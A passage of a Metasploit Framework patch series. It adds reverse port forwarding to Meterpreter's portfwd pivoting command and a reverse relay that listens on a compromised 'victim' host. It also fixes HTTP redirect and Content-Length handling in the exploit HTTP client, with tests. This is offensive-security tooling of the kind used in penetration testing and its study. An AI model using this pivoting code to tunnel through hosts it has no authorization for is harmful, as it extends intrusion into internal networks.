connections, per thread, in milliseconds", 0]), - OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]), + OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]) ]) deregister_options('RHOST', 'RPORT') From 6d504316aedd90037a8869e11856e204a8767ca0 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 6 Apr 2016 15:38:39 +1000 Subject: [PATCH 17/37] Add MSF-side support for reverse port forwards This includes changes to the portfwd command so that the output is nicer, things are easier to use, and users have the ability to create reverse port forwards. --- .../socket_subsystem/tcp_server_channel.rb | 16 +- .../ui/console/command_dispatcher/core.rb | 1 + .../console/command_dispatcher/stdapi/net.rb | 401 +++++++++++------- lib/rex/services/local_relay.rb | 152 ++++++- 4 files changed, 389 insertions(+), 181 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb index b45a032976..1e460df608 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb @@ -135,14 +135,18 @@ protected def _accept(nonblock = false) result = nil - channel = @@server_channels[self].deq(nonblock) + begin + channel = @@server_channels[self].deq(nonblock) - if channel - result = channel.lsock - end + if channel + result = channel.lsock + end - if result != nil && !result.kind_of?(Rex::Socket::Tcp) - result.extend(Rex::Socket::Tcp) + if result != nil && !result.kind_of?(Rex::Socket::Tcp) + result.extend(Rex::Socket::Tcp) + end + rescue ThreadError + # This happens when there's no clients in the queue end result diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 7163d40674..481f948e5f 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -272,6 +272,7 @@ class Console::CommandDispatcher::Core # def cmd_exit(*args) print_status("Shutting down Meterpreter...") + client.pfservice.stop if client.pfservice client.core.shutdown rescue nil client.shutdown_passive_dispatcher shell.stop diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb index 50852d8d5d..e5e01b4206 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb @@ -39,61 +39,64 @@ class Console::CommandDispatcher::Stdapi::Net # Options for the route command. # @@route_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner." ]) + '-h' => [false, 'Help banner.']) # # Options for the portfwd command. # @@portfwd_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner." ], - "-l" => [ true, "The local port to listen on." ], - "-r" => [ true, "The remote host to connect to." ], - "-p" => [ true, "The remote port to connect to." ], - "-L" => [ true, "The local host to listen on (optional)." ]) + '-h' => [false, 'Help banner.'], + '-i' => [true, 'Index of the port forward entry to interact with (see the "list" command).'], + '-l' => [true, 'Forward: local port to listen on. Reverse: local port to connect to.'], + '-r' => [true, 'Forward: remote host to connect to.'], + '-p' => [true, 'Forward: remote port to connect to. Reverse: remote port to listen on.'], + '-R' => [false, 'Indicates a reverse port forward.'], + '-L' => [true, 'Forward: local host to listen on (optional). Remote: local host to connect to.']) # # Options for the netstat command. # @@netstat_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner." ], - "-S" => [ true, "Search string." ]) + '-h' => [false, 'Help banner.'], + '-S' => [true, 'Search string.']) # # Options for ARP command. # @@arp_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner." ], - "-S" => [ true, "Search string." ]) + '-h' => [false, 'Help banner.'], + '-S' => [true, 'Search string.']) # # List of supported commands. # def commands all = { - "ipconfig" => "Display interfaces", - "ifconfig" => "Display interfaces", - "route" => "View and modify the routing table", - "portfwd" => "Forward a local port to a remote service", - "arp" => "Display the host ARP cache", - "netstat" => "Display the network connections", - "getproxy" => "Display the current proxy configuration", + 'ipconfig' => 'Display interfaces', + 'ifconfig' => 'Display interfaces', + 'route' => 'View and modify the routing table', + 'portfwd' => 'Forward a local port to a remote service', + 'arp' => 'Display the host ARP cache', + 'netstat' => 'Display the network connections', + 'getproxy' => 'Display the current proxy configuration', } + reqs = { - "ipconfig" => [ "stdapi_net_config_get_interfaces" ], - "ifconfig" => [ "stdapi_net_config_get_interfaces" ], - "route" => [ + 'ipconfig' => ['stdapi_net_config_get_interfaces'], + 'ifconfig' => ['stdapi_net_config_get_interfaces'], + 'route' => [ # Also uses these, but we don't want to be unable to list them # just because we can't alter them. - #"stdapi_net_config_add_route", - #"stdapi_net_config_remove_route", - "stdapi_net_config_get_routes" + #'stdapi_net_config_add_route', + #'stdapi_net_config_remove_route', + 'stdapi_net_config_get_routes' ], # Only creates tcp channels, which is something whose availability # we can't check directly at the moment. - "portfwd" => [ ], - "arp" => [ "stdapi_net_config_get_arp_table" ], - "netstat" => [ "stdapi_net_config_get_netstat" ], - "getproxy" => [ "stdapi_net_config_get_proxy" ], + 'portfwd' => [], + 'arp' => ['stdapi_net_config_get_arp_table'], + 'netstat' => ['stdapi_net_config_get_netstat'], + 'getproxy' => ['stdapi_net_config_get_proxy'], } all.delete_if do |cmd, desc| @@ -114,14 +117,21 @@ class Console::CommandDispatcher::Stdapi::Net # Name for this dispatcher. # def name - "Stdapi: Networking" + 'Stdapi: Networking' end + # # Displays network connections of the remote machine. # def cmd_netstat(*args) + if args.include?('-h') + @@netstat_opts.usage + return 0 + end + connection_table = client.net.config.netstat search_term = nil + @@netstat_opts.parse(args) { |opt, idx, val| case opt when '-S' @@ -132,26 +142,23 @@ class Console::CommandDispatcher::Stdapi::Net else search_term = /#{search_term}/nmi end - when "-h" - @@netstat_opts.usage - return 0 end } + tbl = Rex::Ui::Text::Table.new( - 'Header' => "Connection list", + 'Header' => 'Connection list', 'Indent' => 4, - 'Columns' => - [ - "Proto", - "Local address", - "Remote address", - "State", - "User", - "Inode", - "PID/Program name" - ], - 'SearchTerm' => search_term) + 'Columns' => [ + 'Proto', + 'Local address', + 'Remote address', + 'State', + 'User', + 'Inode', + 'PID/Program name' + ], + 'SearchTerm' => search_term) connection_table.each { |connection| tbl << [ connection.protocol, connection.local_addr_str, connection.remote_addr_str, @@ -159,9 +166,9 @@ class Console::CommandDispatcher::Stdapi::Net } if tbl.rows.length > 0 - print("\n" + tbl.to_s + "\n") + print_line("\n#{tbl.to_s}") else - print_line("Connection list is empty.") + print_line('Connection list is empty.') end end @@ -169,8 +176,14 @@ class Console::CommandDispatcher::Stdapi::Net # Displays ARP cache of the remote machine. # def cmd_arp(*args) + if args.include?('-h') + @@arp_opts.usage + return 0 + end + arp_table = client.net.config.arp_table search_term = nil + @@arp_opts.parse(args) { |opt, idx, val| case opt when '-S' @@ -181,21 +194,17 @@ class Console::CommandDispatcher::Stdapi::Net else search_term = /#{search_term}/nmi end - when "-h" - @@arp_opts.usage - return 0 - end } + tbl = Rex::Ui::Text::Table.new( - 'Header' => "ARP cache", + 'Header' => 'ARP cache', 'Indent' => 4, - 'Columns' => - [ - "IP address", - "MAC address", - "Interface" - ], + 'Columns' => [ + 'IP address', + 'MAC address', + 'Interface' + ], 'SearchTerm' => search_term) arp_table.each { |arp| @@ -203,9 +212,9 @@ class Console::CommandDispatcher::Stdapi::Net } if tbl.rows.length > 0 - print("\n" + tbl.to_s + "\n") + print_line("\n#{tbl.to_s}") else - print_line("ARP cache is empty.") + print_line('ARP cache is empty.') end end @@ -217,7 +226,7 @@ class Console::CommandDispatcher::Stdapi::Net ifaces = client.net.config.interfaces if (ifaces.length == 0) - print_line("No interfaces were found.") + print_line('No interfaces were found.') else ifaces.sort{|a,b| a.index <=> b.index}.each do |iface| print("\n" + iface.pretty + "\n") @@ -233,20 +242,23 @@ class Console::CommandDispatcher::Stdapi::Net def cmd_route(*args) # Default to list if (args.length == 0) - args.unshift("list") + args.unshift('list') end # Check to see if they specified -h @@route_opts.parse(args) { |opt, idx, val| case opt - when "-h" - print( - "Usage: route [-h] command [args]\n\n" + - "Display or modify the routing table on the remote machine.\n\n" + - "Supported commands:\n\n" + - " add [subnet] [netmask] [gateway]\n" + - " delete [subnet] [netmask] [gateway]\n" + - " list\n\n") + when '-h' + print_line('Usage: route [-h] command [args]') + print_line + print_line('Display or modify the routing table on the remote machine.') + print_line + print_line('Supported commands:') + print_line + print_line(' add [subnet] [netmask] [gateway]') + print_line(' delete [subnet] [netmask] [gateway]') + print_line(' list') + print_line return true end } @@ -255,21 +267,20 @@ class Console::CommandDispatcher::Stdapi::Net # Process the commands case cmd - when "list" + when 'list' routes = client.net.config.routes # IPv4 tbl = Rex::Ui::Text::Table.new( - 'Header' => "IPv4 network routes", + 'Header' => 'IPv4 network routes', 'Indent' => 4, - 'Columns' => - [ - "Subnet", - "Netmask", - "Gateway", - "Metric", - "Interface" - ]) + 'Columns' => [ + 'Subnet', + 'Netmask', + 'Gateway', + 'Metric', + 'Interface' + ]) routes.select {|route| Rex::Socket.is_ipv4?(route.netmask) @@ -278,23 +289,22 @@ class Console::CommandDispatcher::Stdapi::Net } if tbl.rows.length > 0 - print("\n" + tbl.to_s + "\n") + print_line("\n#{tbl.to_s}") else - print_line("No IPv4 routes were found.") + print_line('No IPv4 routes were found.') end # IPv6 tbl = Rex::Ui::Text::Table.new( - 'Header' => "IPv6 network routes", + 'Header' => 'IPv6 network routes', 'Indent' => 4, - 'Columns' => - [ - "Subnet", - "Netmask", - "Gateway", - "Metric", - "Interface" - ]) + 'Columns' => [ + 'Subnet', + 'Netmask', + 'Gateway', + 'Metric', + 'Interface' + ]) routes.select {|route| Rex::Socket.is_ipv6?(route.netmask) @@ -303,37 +313,37 @@ class Console::CommandDispatcher::Stdapi::Net } if tbl.rows.length > 0 - print("\n" + tbl.to_s + "\n") + print("\n#{tbl.to_s}") else - print_line("No IPv6 routes were found.") + print_line('No IPv6 routes were found.') end - when "add" - # Satisfy check to see that formatting is correct - unless Rex::Socket::RangeWalker.new(args[0]).length == 1 - print_error "Invalid IP Address" - return false - end + when 'add' + # Satisfy check to see that formatting is correct + unless Rex::Socket::RangeWalker.new(args[0]).length == 1 + print_error "Invalid IP Address" + return false + end - unless Rex::Socket::RangeWalker.new(args[1]).length == 1 - print_error "Invalid Subnet mask" - return false - end + unless Rex::Socket::RangeWalker.new(args[1]).length == 1 + print_error 'Invalid Subnet mask' + return false + end print_line("Creating route #{args[0]}/#{args[1]} -> #{args[2]}") client.net.config.add_route(*args) - when "delete" - # Satisfy check to see that formatting is correct - unless Rex::Socket::RangeWalker.new(args[0]).length == 1 - print_error "Invalid IP Address" - return false - end + when 'delete' + # Satisfy check to see that formatting is correct + unless Rex::Socket::RangeWalker.new(args[0]).length == 1 + print_error 'Invalid IP Address' + return false + end - unless Rex::Socket::RangeWalker.new(args[1]).length == 1 - print_error "Invalid Subnet mask" - return false - end + unless Rex::Socket::RangeWalker.new(args[1]).length == 1 + print_error 'Invalid Subnet mask' + return false + end print_line("Deleting route #{args[0]}/#{args[1]} -> #{args[2]}") @@ -348,28 +358,34 @@ class Console::CommandDispatcher::Stdapi::Net # network. This provides an elementary pivoting interface. # def cmd_portfwd(*args) - args.unshift("list") if args.empty? + args.unshift('list') if args.empty? # For clarity's sake. lport = nil lhost = nil rport = nil rhost = nil + reverse = false + index = nil # Parse the options @@portfwd_opts.parse(args) { |opt, idx, val| case opt - when "-h" + when '-h' cmd_portfwd_help return true - when "-l" + when '-l' lport = val.to_i - when "-L" + when '-L' lhost = val - when "-p" + when '-p' rport = val.to_i - when "-r" + when '-r' rhost = val + when '-R' + reverse = true + when '-i' + index = val.to_i end } @@ -385,7 +401,13 @@ class Console::CommandDispatcher::Stdapi::Net # Process the command case args.shift - when "list" + when 'list' + + table = Rex::Ui::Text::Table.new( + 'Header' => 'Active Port Forwards', + 'Indent' => 3, + 'SortIndex' => -1, + 'Columns' => ['Index', 'Local', 'Remote', 'Direction']) cnt = 0 @@ -393,62 +415,137 @@ class Console::CommandDispatcher::Stdapi::Net service.each_tcp_relay { |lhost, lport, rhost, rport, opts| next if (opts['MeterpreterRelay'] == nil) - print_line("#{cnt}: #{lhost}:#{lport} -> #{rhost}:#{rport}") + direction = 'Forward' + direction = 'Reverse' if opts['Reverse'] == true + + if opts['Reverse'] == true + table << [cnt + 1, "#{rhost}:#{rport}", "#{lhost}:#{lport}", 'Reverse'] + else + table << [cnt + 1, "#{lhost}:#{lport}", "#{rhost}:#{rport}", 'Forward'] + end cnt += 1 } print_line - print_line("#{cnt} total local port forwards.") + if cnt > 0 + print_line(table.to_s) + print_line("#{cnt} total active port forwards.") + else + print_line('No port forwards are currently active.') + end + print_line + when 'add' - when "add" + if reverse + # Validate parameters + unless lport && lhost && rport + print_error('You must supply a local port, local host, and remote port.') + return + end - # Validate parameters - if (!lport or !rhost or !rport) - print_error("You must supply a local port, remote host, and remote port.") - return + channel = client.net.socket.create( + Rex::Socket::Parameters.new( + 'LocalPort' => rport, + 'Proto' => 'tcp', + 'Server' => true + ) + ) + + # Start the local TCP reverse relay in association with this stream + service.start_reverse_tcp_relay(channel, + 'LocalPort' => rport, + 'PeerHost' => lhost, + 'PeerPort' => lport, + 'MeterpreterRelay' => true) + else + # Validate parameters + unless lport && rhost && rport + print_error('You must supply a local port, remote host, and remote port.') + return + end + + # Start the local TCP relay in association with this stream + service.start_tcp_relay(lport, + 'LocalHost' => lhost, + 'PeerHost' => rhost, + 'PeerPort' => rport, + 'MeterpreterRelay' => true, + 'OnLocalConnection' => Proc.new { |relay, lfd| create_tcp_channel(relay) }) end - # Start the local TCP relay in association with this stream - service.start_tcp_relay(lport, - 'LocalHost' => lhost, - 'PeerHost' => rhost, - 'PeerPort' => rport, - 'MeterpreterRelay' => true, - 'OnLocalConnection' => Proc.new { |relay, lfd| - create_tcp_channel(relay) - }) - - print_status("Local TCP relay created: #{lhost || '0.0.0.0'}:#{lport} <-> #{rhost}:#{rport}") + print_status("Local TCP relay created: #{lhost}:#{lport} <-> #{rhost}:#{rport}") # Delete local port forwards - when "delete" + when 'delete', 'remove', 'del', 'rm' - # No local port, no love. - if (!lport) - print_error("You must supply a local port.") - return + found = false + unless index.nil? + counter = 1 + service.each_tcp_relay do |lh, lp, rh, rp, opts| + if counter == index + lhost, lport, rhost, rport = lh, lp, rh, rp + reverse = opts['Reverse'] == true + found = true + break + end + + counter += 1 + end + + unless found + print_error("Invalid index: #{index}") + end end - # Stop the service - if (service.stop_tcp_relay(lport, lhost)) - print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}") + if reverse + # No remote port, no love. + unless rport + print_error('You must supply a remote port.') + return + end + + if service.stop_reverse_tcp_relay(rport) + print_status("Successfully stopped reverse TCP relay on :#{rport}") + else + print_error("Failed to stop reverse TCP relay on #{rport}") + end else - print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}") + # No local port, no love. + unless lport + print_error('You must supply a local port.') + return + end + + # Stop the service + if service.stop_tcp_relay(lport, lhost) + print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}") + else + print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}") + end end - when "flush" + when 'flush' counter = 0 service.each_tcp_relay do |lhost, lport, rhost, rport, opts| next if (opts['MeterpreterRelay'] == nil) - if (service.stop_tcp_relay(lport, lhost)) - print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}") + if opts['Reverse'] == true + if service.stop_reverse_tcp_relay(rport) + print_status("Successfully stopped reverse TCP relay on :#{rport}") + else + print_error("Failed to stop reverse TCP relay on #{rport}") + next + end else - print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}") - next + if service.stop_tcp_relay(lport, lhost) + print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}") + else + print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}") + next + end end counter += 1 @@ -461,13 +558,13 @@ class Console::CommandDispatcher::Stdapi::Net end def cmd_portfwd_help - print_line "Usage: portfwd [-h] [add | delete | list | flush] [args]" + print_line 'Usage: portfwd [-h] [add | delete | list | flush] [args]' print_line print @@portfwd_opts.usage end def cmd_getproxy - p = client.net.config.get_proxy_config() + p = client.net.config.get_proxy_config print_line( "Auto-detect : #{p[:autodetect] ? "Yes" : "No"}" ) print_line( "Auto config URL : #{p[:autoconfigurl]}" ) print_line( "Proxy URL : #{p[:proxy]}" ) diff --git a/lib/rex/services/local_relay.rb b/lib/rex/services/local_relay.rb index 0426e892d4..6b17a4ec5a 100644 --- a/lib/rex/services/local_relay.rb +++ b/lib/rex/services/local_relay.rb @@ -30,7 +30,7 @@ class LocalRelay # in. # def on_other_data(data) - if (relay.on_other_data_proc) + if relay.on_other_data_proc relay.on_other_data_proc.call(relay, self, data) else put(data) @@ -55,7 +55,7 @@ class LocalRelay # value of the callback should be a Stream instance. # def on_local_connection(relay, lfd) - if (relay.on_local_connection_proc) + if relay.on_local_connection_proc relay.on_local_connection_proc.call(relay, lfd) end end @@ -63,7 +63,6 @@ class LocalRelay attr_accessor :relay end - ### # # This class acts as an instance of a given local relay. @@ -85,14 +84,14 @@ class LocalRelay def shutdown begin - listener.shutdown if (listener) + listener.shutdown if listener rescue ::Exception end end def close begin - listener.close if (listener) + listener.close if listener rescue ::Exception end listener = nil @@ -107,12 +106,51 @@ class LocalRelay end + ### + # + # This class acts as an instance of a local relay handling a reverse connection + # + ### + class ReverseRelay < Relay + + def initialize(name, channel, opts = {}) + + self.name = name + self.listener = nil + self.opts = opts + self.on_local_connection_proc = opts['OnLocalConnection'] + self.on_conn_close_proc = opts['OnConnectionClose'] + self.on_other_data_proc = opts['OnOtherData'] + self.channel = channel + + if !$dispatcher['rex'] + register_log_source('rex', $dispatcher['core'], get_log_level('core')) + end + end + + def shudown + # don't need to do anything here, it's only "close" we care about + end + + def close + self.channel.close if self.channel + self.channel = nil + end + + attr_reader :channel + + protected + attr_writer :channel + + end + # # Initializes the local tcp relay monitor. # def initialize self.relays = Hash.new self.rfds = Array.new + self.rev_chans = Array.new self.relay_thread = nil self.relay_mutex = Mutex.new end @@ -153,8 +191,8 @@ class LocalRelay end # - # Stops the thread that monitors the local relays and destroys all local - # listeners. + # Stops the thread that monitors the local relays and destroys all + # listeners, both local and remote. # def stop if (self.relay_thread) @@ -170,16 +208,44 @@ class LocalRelay } } - # Flush the relay list and read fd list + # make sure we kill off active sockets when we shut down + while self.rfds.length > 0 + close_relay_conn(self.rfds.shift) rescue nil + end + + # we can safely clear the channels array because all of the + # reverse relays were closed down + self.rev_chans.clear self.relays.clear - self.rfds.clear end - ## # - # Adding/removing local tcp relays + # Start a new active listener on the victim ready for reverse connections. # - ## + def start_reverse_tcp_relay(channel, opts = {}) + opts['__RelayType'] = 'tcp' + opts['Reverse'] = true + + name = "Reverse-#{opts['PeerPort']}" + + relay = ReverseRelay.new(name, channel, opts) + + # dirty hack to get "relay" support? + channel.extend(StreamServer) + channel.relay = relay + + self.relay_mutex.synchronize { + self.relays[name] = relay + self.rev_chans << channel + } + end + + # + # Stop an active reverse port forward. + # + def stop_reverse_tcp_relay(rport) + stop_relay("Reverse-#{rport}") + end # # Starts a local TCP relay. @@ -236,7 +302,7 @@ class LocalRelay self.relay_mutex.synchronize { relay = self.relays[name] - if (relay) + if relay close_relay(relay) rv = true end @@ -264,13 +330,19 @@ class LocalRelay protected attr_accessor :relays, :relay_thread, :relay_mutex - attr_accessor :rfds + attr_accessor :rfds, :rev_chans # # Closes an cleans up a specific relay # def close_relay(relay) - self.rfds.delete(relay.listener) + + if relay.kind_of?(ReverseRelay) + self.rev_chans.delete(relay.channel) + else + self.rfds.delete(relay.listener) + end + self.relays.delete(relay.name) begin @@ -291,7 +363,7 @@ protected self.rfds.delete(fd) begin - if (relay.on_conn_close_proc) + if relay.on_conn_close_proc relay.on_conn_close_proc.call(fd) end @@ -300,7 +372,7 @@ protected rescue IOError end - if (ofd) + if ofd self.rfds.delete(ofd) begin @@ -315,6 +387,35 @@ protected end end + # + # Attempt to accept a new reverse connection on the given reverse + # relay handle. + # + def accept_reverse_relay(rrfd) + + rfd = rrfd.accept_nonblock + + return unless rfd + + lfd = Rex::Socket::Tcp.create( + 'PeerHost' => rrfd.relay.opts['PeerHost'], + 'PeerPort' => rrfd.relay.opts['PeerPort'], + 'Timeout' => 5 + ) + + rfd.extend(Stream) + lfd.extend(Stream) + + rfd.relay = rrfd.relay + lfd.relay = rrfd.relay + + self.rfds << lfd + self.rfds << rfd + + rfd.other_stream = lfd + lfd.other_stream = rfd + end + # # Accepts a client connection on a local relay. # @@ -342,7 +443,7 @@ protected # If we have both sides, then we rock. Extend the instances, associate # them with the relay, associate them with each other, and add them to # the list of polling file descriptors - if (lfd and rfd) + if lfd && rfd lfd.extend(Stream) rfd.extend(Stream) @@ -354,9 +455,8 @@ protected self.rfds << lfd self.rfds << rfd - - # Otherwise, we don't have both sides, we'll close them. else + # Otherwise, we don't have both sides, we'll close them. close_relay_conn(lfd) end end @@ -369,6 +469,12 @@ protected # Helps with latency Thread.current.priority = 2 + # See if we have any new connections on the existing reverse port + # forward relays + rev_chans.each do |rrfd| + accept_reverse_relay(rrfd) + end + # Poll all the streams... begin socks = Rex::ThreadSafe.select(rfds, nil, nil, 0.25) @@ -377,7 +483,7 @@ protected # Close the relay connection that is associated with the stream # closed error - if (e.stream.kind_of?(Stream)) + if e.stream.kind_of?(Stream) close_relay_conn(e.stream) end @@ -398,9 +504,9 @@ protected # If this file descriptor is a server, accept the connection if (rfd.kind_of?(StreamServer)) accept_relay_conn(rfd) - # Otherwise, it's a relay connection, read data from one side - # and write it to the other else + # Otherwise, it's a relay connection, read data from one side + # and write it to the other begin # Pass the data onto the other fd, most likely writing it. data = rfd.sysread(65536) From 866cb5a23b36330a3884f39b69ed95c93ad45629 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 6 Apr 2016 16:36:41 +1000 Subject: [PATCH 18/37] Fix usage of lport/rport while tracking rev forwards --- .../meterpreter/ui/console/command_dispatcher/stdapi/net.rb | 6 +++--- lib/rex/services/local_relay.rb | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb index e5e01b4206..4aea13213a 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb @@ -506,10 +506,10 @@ class Console::CommandDispatcher::Stdapi::Net return end - if service.stop_reverse_tcp_relay(rport) - print_status("Successfully stopped reverse TCP relay on :#{rport}") + if service.stop_reverse_tcp_relay(lport) + print_status("Successfully stopped reverse TCP relay on :#{lport}") else - print_error("Failed to stop reverse TCP relay on #{rport}") + print_error("Failed to stop reverse TCP relay on #{lport}") end else # No local port, no love. diff --git a/lib/rex/services/local_relay.rb b/lib/rex/services/local_relay.rb index 6b17a4ec5a..75b7160859 100644 --- a/lib/rex/services/local_relay.rb +++ b/lib/rex/services/local_relay.rb @@ -226,7 +226,7 @@ class LocalRelay opts['__RelayType'] = 'tcp' opts['Reverse'] = true - name = "Reverse-#{opts['PeerPort']}" + name = "Reverse-#{opts['LocalPort']}" relay = ReverseRelay.new(name, channel, opts) From 5c2e5398adeee78e37646a0280cb5a33319b5846 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 11 Apr 2016 10:39:54 +1000 Subject: [PATCH 19/37] Fix issue with flushing rev port forwards --- .../meterpreter/ui/console/command_dispatcher/stdapi/net.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb index 4aea13213a..1b1ff9d57b 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb @@ -533,10 +533,10 @@ class Console::CommandDispatcher::Stdapi::Net next if (opts['MeterpreterRelay'] == nil) if opts['Reverse'] == true - if service.stop_reverse_tcp_relay(rport) - print_status("Successfully stopped reverse TCP relay on :#{rport}") + if service.stop_reverse_tcp_relay(lport) + print_status("Successfully stopped reverse TCP relay on :#{lport}") else - print_error("Failed to stop reverse TCP relay on #{rport}") + print_error("Failed to stop reverse TCP relay on #{lport}") next end else From 47d52a250e38261033d5b6a926f4e4e9ec08aa2b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 25 Apr 2016 14:30:46 -0500 Subject: [PATCH 20/37] Fix #6806 and #6820 - Fix send_request_cgi! redirection This patch fixes two problems: 1. 6820 - If the HTTP server returns a relative path (example: /test), there is no host to extract, therefore the HOST header in the HTTP request ends up being empty. When the web server sees this, it might return an HTTP 400 Bad Request, and the redirection fails. 2. 6806 - If the HTTP server returns a relative path that begins with a dot, send_request_cgi! will literally send that in the GET request. Since that isn't a valid GET request path format, the redirection fails. Fix #6806 Fix #6820 --- lib/msf/core/exploit/http/client.rb | 52 ++++++++++++++----- spec/lib/msf/core/exploit/http/client_spec.rb | 32 ++++++++++++ 2 files changed, 70 insertions(+), 14 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 5b57e2e408..5d6636e155 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- + require 'uri' require 'digest' require 'rex/proto/ntlm/crypt' @@ -370,24 +371,47 @@ module Exploit::Remote::HttpClient return res unless res && res.redirect? && redirect_depth > 0 redirect_depth -= 1 - location = res.redirection - return res if location.nil? - - opts['redirect_uri'] = location - opts['uri'] = location.path - opts['rhost'] = location.host - opts['vhost'] = location.host - opts['rport'] = location.port - - if location.scheme == 'https' - opts['ssl'] = true - else - opts['ssl'] = false - end + return res if res.redirection.nil? + reconfig_redirect_opts!(res, opts) send_request_cgi!(opts, actual_timeout, redirect_depth) end + + # Modifies the HTTP request options for a redirection. + # + # @param res [Rex::Proto::HTTP::Response] HTTP Response. + # @param opts [Hash] The HTTP request options to modify. + # @return [void] + def reconfig_redirect_opts!(res, opts) + location = res.redirection + + if location.relative? + parent_path = File.dirname(opts['uri'].to_s) + parent_path = '/' if parent_path == '.' + new_redirect_uri = normalize_uri(parent_path, location.path.gsub(/^\./, '')) + opts['redirect_uri'] = new_redirect_uri + opts['uri'] = new_redirect_uri + opts['rhost'] = datastore['RHOST'] + opts['vhost'] = opts['vhost'] || opts['rhost'] || self.vhost() + opts['rport'] = datastore['RPORT'] + + opts['ssl'] = ssl + else + opts['redirect_uri'] = location + opts['uri'] = location.path + opts['rhost'] = location.host + opts['vhost'] = location.host + opts['rport'] = location.port + + if location.scheme == 'https' + opts['ssl'] = true + else + opts['ssl'] = false + end + end + end + # # Combine the user/pass into an auth string for the HTTP Client # diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index dc7705294d..27756e1841 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -12,6 +12,38 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do mod end + describe '#reconfig_redirect_opts!' do + context 'when URI is http://127.0.0.1/test/redirect.php' do + it 'should return /test/redirect.php as the URI path' do + res = Rex::Proto::Http::Response.new + allow(res).to receive(:headers).and_return({'Location'=>'http://127.0.0.1/test/redirect.php'}) + opts = {} + subject.reconfig_redirect_opts!(res, opts) + expect(opts['uri']).to eq('/test/redirect.php') + end + end + + context 'when URI is /test/redirect.php' do + it 'should return /test/redirect.php' do + res = Rex::Proto::Http::Response.new + allow(res).to receive(:headers).and_return({'Location'=>'/test/redirect.php'}) + opts = {} + subject.reconfig_redirect_opts!(res, opts) + expect(opts['uri']).to eq('/test/redirect.php') + end + end + + context 'when URI is ./redirect.php' do + it 'should return /redirect.php' do + res = Rex::Proto::Http::Response.new + allow(res).to receive(:headers).and_return({'Location'=>'./redirect.php'}) + opts = {} + subject.reconfig_redirect_opts!(res, opts) + expect(opts['uri']).to eq('/redirect.php') + end + end + end + describe '#vhost' do let(:rhost) do From d4b89edf9c52dce2fce90622cb403bbe725afb7d Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 28 Apr 2016 11:44:10 -0500 Subject: [PATCH 21/37] Fix #6398, Missing Content-Length header in HTTP POST RFC-7230 states that a Content-Length header is normally sent in a POST request even when the value (length) is 0, indicating an empty payload body. Rex HTTP client failed to follow this spec, and caused some modules to fail (such as winrm_login). Fix #6398 --- lib/rex/proto/http/client_request.rb | 12 +++++++++++- spec/lib/rex/proto/http/client_request_spec.rb | 10 ++++++++++ 2 files changed, 21 insertions(+), 1 deletion(-) diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index f47229a0bb..e251b9e6bd 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -393,7 +393,17 @@ class ClientRequest # Return the content length header # def set_content_len_header(clen) - return "" if clen == 0 || opts['chunked_size'] > 0 || (opts['headers'] && opts['headers']['Content-Length']) + if opts['method'] == 'GET' && (clen == 0 || opts['chunked_size'] > 0) + # This 